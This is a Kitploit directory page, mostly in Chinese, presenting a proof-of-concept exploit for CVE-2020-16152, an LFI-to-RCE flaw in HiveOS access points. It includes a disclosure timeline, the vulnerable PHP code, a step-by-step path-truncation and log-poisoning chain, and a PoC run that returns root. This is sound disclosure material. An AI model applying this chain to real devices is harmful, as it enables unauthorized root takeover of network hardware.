Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-16152 — Proof-of-concept exploit for CVE-2020-16152: LFI-to-RCE in Aerohive/Extreme Networks HiveOS via PHP string truncation and log poisoning, enabling root access on vulnerable access points. | Kitploit
工具/GitHubGitHub/eriknl/cve-2020-16152
漏洞分析漏洞利用横向移动Web应用程序漏洞利用渗透测试二进制利用
GitHuberiknl/cve-2020-16152

CVE-2020-16152

Proof-of-concept exploit for CVE-2020-16152: LFI-to-RCE in Aerohive/Extreme Networks HiveOS via PHP string truncation and log poisoning, enabling root access on vulnerable access points.

查看仓库
116136年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-16152

摘要

产品厂商Aerohive Networks / Extreme Networks
产品名称HiveOS / IQ Engine
产品版本已在 10.0r8a build-242466 及更早版本上测试

Aerohive/Extreme Networks HiveOS 管理 Web 界面(NetConfig)存在本地文件包含(LFI)漏洞,因为它使用了易受字符串截断攻击的旧版 PHP。攻击者能够结合日志投毒,在易受攻击的接入点上获取 root 权限。

作为临时解决方案,可以使用以下命令禁用 Web 界面以防范此漏洞:no system web-server hive-UI enable

披露时间线:

2019/02/17问题报告给 Aerohive Networks
2019/02/19厂商确认收到问题,厂商建议临时解决方案(禁用 Web 界面)
2019/02/25厂商确认问题
2019/03/18跟进?
2019/05/30跟进?
2019/06/03厂商建议电话沟通,已回复电话号码,但未接到电话
2019/08/12跟进?厂商回复问题已在内部升级
2019/09/23跟进?
2019/09/25厂商回复 LFI 问题尚未解决
2020/07/30发现该问题在 HiveOS 10.0r8a build-242466(2020年5月版)中仍未修复。已保留 CVE 并告知厂商若未积极修复,将于 2020/09/01 公开
2020/09/01仍未收到厂商回复,发布详情和 PoC

详情

用于调用 action/AhBaseAction.class.php5 的 _page 参数(由 URL /action.php5 引用)用于动态加载一个 PHP 类,该类用于页面处理,如下方代码片段所示($pageName 取自 $_POST['_page']):

protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

如我们所见,该文件名没有前缀,因此可以遍历路径到任意文件。但由于存在后缀,无法直接包含任意文件。由于接入点上运行的 PHP 版本相当老旧,我们实际上可以绕过这一限制(更多信息):

$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

通过用足够多的 / 字符填充路径,我们可以确保 Access.class.php5 后缀被完全截断,从而自由包含任意文件。 由于失败的登录尝试会记录到 /tmp/messages,并且包含提交的用户名,我们可以利用登录页面污染 /tmp/messages,然后通过上述 LFI 攻击从中执行代码。 尽管 Web 服务器本身以低权限用户运行,但 hiawatha 使用的 php-cgi 实例实际上是以 root 身份运行的,这意味着所有 PHP 代码都以 root 权限执行:

$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

PoC

$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

下载工具